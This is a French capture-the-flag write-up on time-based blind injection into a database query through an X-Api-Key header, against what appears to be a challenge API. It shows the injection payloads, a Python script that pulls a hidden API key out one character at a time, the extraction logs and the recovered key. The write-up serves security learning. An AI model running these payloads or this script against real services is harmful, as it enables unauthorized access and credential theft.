TO_NUMBER
TO_STRING
TO_ARRAY
TO_LIST
IS_NULL
IS_BOOL
IS_NUMBER
IS_STRING
IS_ARRAY
IS_LIST
IS_OBJECT
IS_DATESTRING
IS_IPV4
IS_KEY
TYPENAME
Ces requêtes semblent prometteuses :
' AND '1'=='2
' AND '1'=='1
Mais j’obtiens le même résultat.
X-Api-Key: ’ + CONCAT(‘RE’, ‘TURN doc’) —
Priority: u=0, i X-Api-Key: ’ OR (FOR i IN CONCATENATE(“RAN”, “GE” (1, 10000000) CONCATENATE(“RE”, “TURN) i) —/
X-Api-Key: test’|| 1==1 CONCAT(“RE”, “TURN”) {‘role’: ‘admin’ } %252F%252F
Avec a'--', par exemple, la requête devrait ressembler à ceci :
FOR doc IN config
FILTER doc.<key_name_omitted> == 'user_supplied_x_api_key'
<other_query_lines_omitted>
RETURN doc
FOR doc IN config
FILTER doc.<key_name_omitted> == 'a' --''
<other_query_lines_omitted>
RETURN doc
Après de nombreux essais, j’ai reçu un indice : le meilleur moyen de tester cela est d’utiliser des pauses.
J’ai donc essayé :
lala' OR (1==1 AND SLEEP(10))OR ' provoque une pause puis une erreur de délai. Elle ne semble pas dépasser deux ou trois secondes ; je ne sais pas pourquoi.
lala' OR (1==2 AND SLEEP(10))OR ' renvoie une clé invalide.
J’ai ensuite vérifié avec :
lala' OR (LENGTH(doc._key) == 6 AND SLEEP(10)) OR '
On peut en déduire que l’attribut _key du document contient six caractères.
Je cherche maintenant des fonctions permettant de déduire la valeur de la clé API. J’ai créé un script Python pour l’extraire :

Et cela a fonctionné :
Going with f{'x-api-key': "lala' OR (SUBSTRING(doc._key, 5, 1) == 'e' AND SLEEP(10)) OR '"} (current password = confi)
Going with f{'x-api-key': "lala' OR (SUBSTRING(doc._key, 5, 1) == 'f' AND SLEEP(10)) OR '"} (current password = confi)
Going with f{'x-api-key': "lala' OR (SUBSTRING(doc._key, 5, 1) == 'g' AND SLEEP(10)) OR '"} (current password = confi)
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n <other_query_lines_omitted>\n RETURN doc"}
Found one more char : configg, current password = config
Going with f{'x-api-key': "lala' OR (SUBSTRING(doc._key, 6, 1) == 'h' AND SLEEP(10)) OR '"} (current password = config)
Going with f{'x-api-key': "lala' OR (SUBSTRING(doc._key, 6, 1) == 'i' AND SLEEP(10)) OR '"} (current password = config)
Le couple attribut-valeur est _key=config. Nous pouvons récupérer les attributs du document, exclure ceux du système comme _key, identifier celui qui nous intéresse, puis recommencer avec sa valeur.
Après un moment, j’ai obtenu :

L’attribut recherché s’appelle deactivate_api_key.
J’ai déterminé la longueur de sa valeur par recherche binaire :
X-Api-Key: lala' OR (LENGTH(doc.deactivate_api_key) == 36 AND SLEEP(10))OR '
Elle vaut 36 ; j’ai donc mis le script à jour :
import requests
import string
key=''
u='https://api.frostbit.app/api/v1/frostbitadmin/bot/0769cce0-369a-40c6-8350-870af7e77eb6/deactivate?debug=true'
count = 0
while count < 36:
for c in string.printable:
if c not in ['*','+','.','?','|', '#', '&', '$', '\n', '\r', '\t', "'", '/', ';', '\\', '`' ]:
header = {"x-api-key": f"lala' OR (SUBSTRING(doc.deactivate_api_key, {count}, 1) == '{c}' AND SLEEP(10)) OR '"}
r = requests.get(u, headers=header)
print(f"Going with f{header} (current password = {key})")
if not 'Invalid' in r.text:
print("\n\n"+r.text+"\n\n")
if 'Timeout' in r.text:
key += c
print(f"Found one more char : {key+c}, current password = {key}")
count += 1
Après un moment, j’ai obtenu le drapeau :

{"message":"Response status code: 200, Response body: {\"result\":\"success\",\"rid\":\"0769cce0-369a-40c6-8350-870af7e77eb6\",\"hash\":\"68cbe75d67de763247f727ff2685d3334e665a04f1419125636fd3bddac77bbf\",\"uid\":\"54041\"}\nPOSTED WIN RESULTS FOR RID 0769cce0-369a-40c6-8350-870af7e77eb6","status":"Deactivated"}
X-Api-Key: abe7a6ad-715e-4e6a-901b-c9279a964f91
C’est tout pour cette année !